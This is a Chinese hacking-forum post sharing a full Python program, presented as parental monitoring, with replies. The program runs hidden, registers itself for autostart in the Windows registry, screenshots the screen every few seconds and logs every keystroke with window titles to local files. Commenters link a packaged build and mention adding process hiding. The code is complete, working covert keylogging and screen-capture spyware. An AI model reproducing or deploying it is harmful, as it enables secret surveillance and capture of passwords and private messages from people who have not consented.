吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4818|回复: 124
上一主题 下一主题
收起左侧

[Python 原创] 给孩子写个玩电脑监控记录软件

    [复制链接]
跳转到指定楼层
楼主
nobiyou 发表于 2025-3-22 00:03 回帖奖励
本帖最后由 nobiyou 于 2025-4-2 17:06 编辑

同样的受到论坛老哥的启发,做个孩子玩电脑监控软件,有开机启动,有截屏,有日志记录。
老哥的帖子地址:https://www.52pojie.cn/thread-2016387-1-1.html
之前的代码没有监控活动窗口,白名单不起作用,同时可以修改配置,方便家长操作,主要是运行无窗口。
当然这软件还有更多功能和场景可以发展,就不拓展了,我就弄来管理孩子玩电脑的。
打包压缩不到3mb,自己打包吧。
3.22加了键盘记录功能
4.2没想到大家加了好多的功能,大家可以去看看。
第一个改版:htps://www.52pojie.cn/thread-2020901-1-1.html
第二个改版:https://www.52pojie.cn/thread-2020984-1-1.html
配置文件说明:

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
{
"white_list": [//白名单,需要排除截屏的软件名称,一行一个
"微信",
"WeChat",
"聊天文件",
"朋友圈"
],
"save_path": "D:/doc/local",//截屏保存路径
"sleep_time": 5,//默认截屏间隔时间5秒
"keylogger_enabled": True,  // 默认启用键盘记录,改为false为不启用
"keylogger_respect_whitelist": True  // 默认键盘记录也遵循白名单,改为false为全局
}

代码:

import argparse
import os
import time
import logging
from datetime import datetime
import winreg

import win32gui
import win32con
from PIL import ImageGrab
import json
import sys
from pynput import keyboard

def get_app_path():
    """获取应用程序路径"""
    if getattr(sys, 'frozen', False):
        # 打包后的路径
        return os.path.dirname(sys.executable)
    # 开发环境路径
    return os.path.dirname(os.path.abspath(__file__))

def load_config():
    """加载配置文件"""
    config_path = os.path.join(get_app_path(), 'config.json')
    default_config = {
        "white_list": ['微信', 'WeChat', '聊天文件', '朋友圈'], # 白名单 按,分割传入 默认为空
        "save_path": "D:/doc/local",  # 修改默认保存路径
        "sleep_time": 5, # 默认截屏间隔时间5秒
        "keylogger_enabled": True,  # 默认启用键盘记录
        "keylogger_respect_whitelist": True  # 默认键盘记录也遵循白名单
    }

    if not os.path.exists(config_path):
        # 配置文件不存在,创建默认配置
        with open(config_path, 'w', encoding='utf-8') as f:
            json.dump(default_config, f, ensure_ascii=False, indent=4)
            logging.info("已创建默认配置文件")
            return default_config

    try:
        with open(config_path, 'r', encoding='utf-8') as f:
            config = json.load(f)
            # 确保所有必需的配置项都存在
            if not all(key in config for key in default_config):
                config = {**default_config, **config}
                # 更新配置文件
                with open(config_path, 'w', encoding='utf-8') as f:
                    json.dump(config, f, ensure_ascii=False, indent=4)
            return config
    except Exception as e:
        logging.error(f"加载配置文件失败: {str(e)}")
        return default_config

def setup_logging():
    """配置日志"""
    today = datetime.now().strftime('%Y-%m-%d')
    log_dir = os.path.join(SAVE_PATH, today)
    os.makedirs(log_dir, exist_ok=True)

    # 重置之前的日志处理器
    for handler in logging.root.handlers[:]:
        logging.root.removeHandler(handler)

    # 创建文件处理器
    file_handler = logging.FileHandler(
        os.path.join(log_dir, 'screenshot.log'),
        encoding='utf-8',
        mode='a'
    )
    # 创建控制台处理器
    console_handler = logging.StreamHandler(sys.stdout)

    # 设置格式
    formatter = logging.Formatter('%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
    file_handler.setFormatter(formatter)
    console_handler.setFormatter(formatter)

    # 确保日志文件以UTF-8 BOM格式写入
    if os.path.exists(os.path.join(log_dir, 'screenshot.log')):
        with open(os.path.join(log_dir, 'screenshot.log'), 'a', encoding='utf-8') as f:
            if os.path.getsize(os.path.join(log_dir, 'screenshot.log')) == 0:
                f.write('\ufeff')  # 添加BOM标记
    else:
        with open(os.path.join(log_dir, 'screenshot.log'), 'w', encoding='utf-8') as f:
            f.write('\ufeff')  # 添加BOM标记

    # 配置根日志记录器
    logging.root.setLevel(logging.INFO)
    logging.root.addHandler(file_handler)
    logging.root.addHandler(console_handler)

# 解析命令行参数
parser = argparse.ArgumentParser(description="Screen Shot Service")
parser.add_argument("--sleep", type=int, default=5, help="截屏间隔时间 默认5秒")
parser.add_argument("--save_path", type=str, default=None, help="图片文件存储地址")
parser.add_argument("--white_list", type=str, default="", help="应用白名单 按,分割传入 默认为空")
parser.add_argument("--no_keylog", action="store_true", help="禁用键盘记录功能")
# 忽略非预期参数
args, _ = parser.parse_known_args()

# 初始化全局变量
config = load_config()
SLEEP_TIME = args.sleep if args.sleep != 5 else config['sleep_time']
SAVE_PATH = args.save_path if args.save_path is not None else config['save_path']
os.makedirs(SAVE_PATH, exist_ok=True)
WHITE_LIST = args.white_list
white_list = config['white_list']
if WHITE_LIST != "":
    str_list = WHITE_LIST.split(",")
    white_list = list(set(str_list + white_list))

# 键盘记录配置
KEYLOGGER_ENABLED = False if args.no_keylog else config.get('keylogger_enabled', True)
KEYLOGGER_RESPECT_WHITELIST = config.get('keylogger_respect_whitelist', True)

# 设置日志
setup_logging()

def is_white_window_open():
    """检测白名单窗口是否打开且为活动窗口"""
    active_window = win32gui.GetForegroundWindow()
    active_title = win32gui.GetWindowText(active_window)

    if active_title in white_list:
        # 检查窗口是否可见且未最小化
        if win32gui.IsWindowVisible(active_window):
            placement = win32gui.GetWindowPlacement(active_window)
            if placement[1] != win32con.SW_SHOWMINIMIZED:
                logging.debug(f"检测到活动的白名单窗口: {active_title}")
                return True

    logging.debug(f"当前活动窗口不在白名单中: {active_title}")
    return False

def add_to_startup():
    """添加程序到开机自启动"""
    try:
        key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
        script_path = os.path.abspath(__file__)
        winreg.SetValueEx(key, "ScreenshotService", 0, winreg.REG_SZ, f'pythonw "{script_path}"')
        winreg.CloseKey(key)
        logging.info("已添加到开机自启动")
    except Exception as e:
        logging.error(f"添加开机自启动失败: {str(e)}")

def get_active_window_info():
    """获取当前活动窗口信息"""
    active_window = win32gui.GetForegroundWindow()
    active_title = win32gui.GetWindowText(active_window)
    return active_title

def screenshot():
    """截屏保存"""
    # 获取当前窗口信息
    active_title = get_active_window_info()

    # 按日期创建子文件夹
    today = datetime.now().strftime('%Y-%m-%d')
    save_dir = os.path.join(SAVE_PATH, today)
    os.makedirs(save_dir, exist_ok=True)

    screenshot_png = ImageGrab.grab()
    file_name = os.path.join(save_dir, f"screenshot_{datetime.now().strftime('%H-%M-%S')}.png")
    screenshot_png.save(file_name)
    logging.info(f"截图已保存: {file_name}, 当前窗口: {active_title}")

# 键盘记录相关函数
def get_keylog_file():
    """获取键盘记录文件路径"""
    today = datetime.now().strftime('%Y-%m-%d')
    save_dir = os.path.join(SAVE_PATH, today)
    os.makedirs(save_dir, exist_ok=True)
    return os.path.join(save_dir, 'keylog.txt')

def on_key_press(key):
    """键盘按下事件处理"""
    if not KEYLOGGER_ENABLED:
        return

    # 如果需要遵循白名单,且当前窗口在白名单中,则不记录
    if KEYLOGGER_RESPECT_WHITELIST and is_white_window_open():
        return

    active_title = get_active_window_info()
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

    try:
        # 对特殊键进行处理
        if hasattr(key, 'char'):
            key_char = key.char
        else:
            key_char = str(key).replace("Key.", "<") + ">"

        # 记录到文件
        with open(get_keylog_file(), 'a', encoding='utf-8') as f:
            f.write(f"[{timestamp}] [{active_title}] Key: {key_char}\n")
    except Exception as e:
        logging.error(f"键盘记录失败: {str(e)}")

def start_keylogger():
    """启动键盘记录器"""
    if KEYLOGGER_ENABLED:
        logging.info("键盘记录功能已启动")
        # 确保键盘记录文件存在
        keylog_file = get_keylog_file()
        if not os.path.exists(keylog_file):
            with open(keylog_file, 'w', encoding='utf-8') as f:
                f.write('\ufeff')  # 添加BOM标记

        # 启动键盘监听
        keyboard_listener = keyboard.Listener(on_press=on_key_press)
        keyboard_listener.start()
        return keyboard_listener
    return None

if __name__ == "__main__":
    logging.info(f"截图服务启动 - 保存路径: {SAVE_PATH}, 间隔时间: {SLEEP_TIME}秒")
    logging.info(f"当前白名单: {white_list}")
    logging.info(f"键盘记录功能: {'已启用' if KEYLOGGER_ENABLED else '已禁用'}")

    add_to_startup()

    # 启动键盘记录器
    keyboard_listener = start_keylogger()

    try:
        while True:
            active_title = get_active_window_info()
            white_window_status = is_white_window_open()
            if not white_window_status:
                logging.info(f"未检测到白名单窗口,开始截图 - 当前窗口: {active_title}")
                screenshot()
            else:
                logging.info(f"检测到白名单窗口,跳过截图 - 当前窗口: {active_title}")
            time.sleep(SLEEP_TIME)
    except KeyboardInterrupt:
        # 正常退出时停止键盘监听
        if keyboard_listener:
            keyboard_listener.stop()
        logging.info("服务已停止")


免费评分

参与人数 29吾爱币 +31 热心值 +26 收起 理由
aren123122 + 1 谢谢@Thanks!
锂电是信仰 + 1 + 1 热心回复!
认真改变 + 1 + 1 我很赞同!
jason9623 + 1 我很赞同!
lizdn1 + 1 我很赞同!
top777 + 1 + 1 117楼,我优化了代码可以隐藏进程
diliuyue + 1 谢谢@Thanks!
kuku20009 + 1 + 1 我很赞同!
su010 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
jamessteed + 1 + 1 用心讨论,共获提升!
ShaBiForum + 1 + 1 热心回复!
lovepluto6 + 1 + 1 用心讨论,共获提升!
acail + 1 + 1 谢谢@Thanks!
Monkey0 + 1 + 1 现在的家长太强了,孩子也太难了
zylz9941 + 1 + 1 谢谢@Thanks!
cccfind911 + 1 + 1 谢谢@Thanks!
苏紫方璇 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
24427 + 1 + 1 求成品,,,谢谢大佬
femten + 1 + 1 用心讨论,共获提升!
wojaiyh + 1 + 1 孩子:谢谢你给我的爱~!
hus + 1 谢谢@Thanks!
吾爱余聪 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
cesz123 + 1 + 1 我很赞同!
zhaoleji + 1 我很赞同!
52PJ070 + 1 + 1 谢谢@Thanks!
surepj + 1 + 1 谢谢@Thanks!
宇智波灬劫 + 1 + 1 我很赞同!
lgc81034 + 1 谢谢@Thanks!
huangkang2297 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
zhaoleji 发表于 2025-3-23 16:59
20288076 发表于 2025-3-23 08:28
那位兄弟能帮忙打包下 电脑没有环境打包不了 谢谢了

不要放在桌面上执行,会生成一个config.json的配置文件,点进去之后就可以设置白名单,和截屏的时间。
定期清理 存图片的文件夹。
ps:我只是将楼主的代码打了个包。好用感谢楼主。不好用就是打包的问题。

https://www.alipan.com/s/bm5iSpcF5oa

免费评分

参与人数 2吾爱币 +1 热心值 +2 收起 理由
diliuyue + 1 谢谢@Thanks!
52PJ070 + 1 + 1 谢谢@Thanks!

查看全部评分

推荐
zhaoleji 发表于 2025-3-22 11:07
本帖最后由 zhaoleji 于 2025-3-22 16:28 编辑

此贴已失效,诸君请勿尝试,叔叔 搞不定你爸爸 。sorry

免费评分

参与人数 3吾爱币 +4 热心值 +3 收起 理由
Marune + 1 + 1 热心回复!
qzbc9444 + 1 + 1 而你,我的朋友,
Yifan2007 + 2 + 1 难绷

查看全部评分

推荐
hizyc1636 发表于 2025-3-22 00:17
孩子家长越来越牛了,孩子也越来越难了。学习大佬的思路
推荐
lose2836 发表于 2025-3-22 07:14
孩子以后用电脑,先看看有没有后台可疑进程,先关闭了在玩
3#
wyesheng 发表于 2025-3-22 00:11
看起来是个大神作品哇,哈哈,俺是编程小白鸟。。。
4#
chuanze996 发表于 2025-3-22 00:17
这个厉害了
5#
suliary 发表于 2025-3-22 00:33
借用一下,谢谢
6#
52wjj 发表于 2025-3-22 00:34
厉害了,直接替代什么绿色守护软件了
7#
xiaoshuimian 发表于 2025-3-22 00:34
我记得以前很早玩电脑的时候就接触过类似的软件,可以截图,录屏,记录键盘的动作,然后定时备份,可以发到指定的邮箱里面去。
8#
 楼主| nobiyou 发表于 2025-3-22 00:38 |楼主
xiaoshuimian 发表于 2025-3-22 00:34
我记得以前很早玩电脑的时候就接触过类似的软件,可以截图,录屏,记录键盘的动作,然后定时备份,可以发到 ...

简单的记录,如发散,太多了,害怕jc叔叔,还是不要那么多功能。
9#
jianyui 发表于 2025-3-22 00:40
孩子:谢谢奥

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
butterball + 1 + 1 我很赞同!

查看全部评分

10#
MoeBoy 发表于 2025-3-22 00:51
谢谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-7 02:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表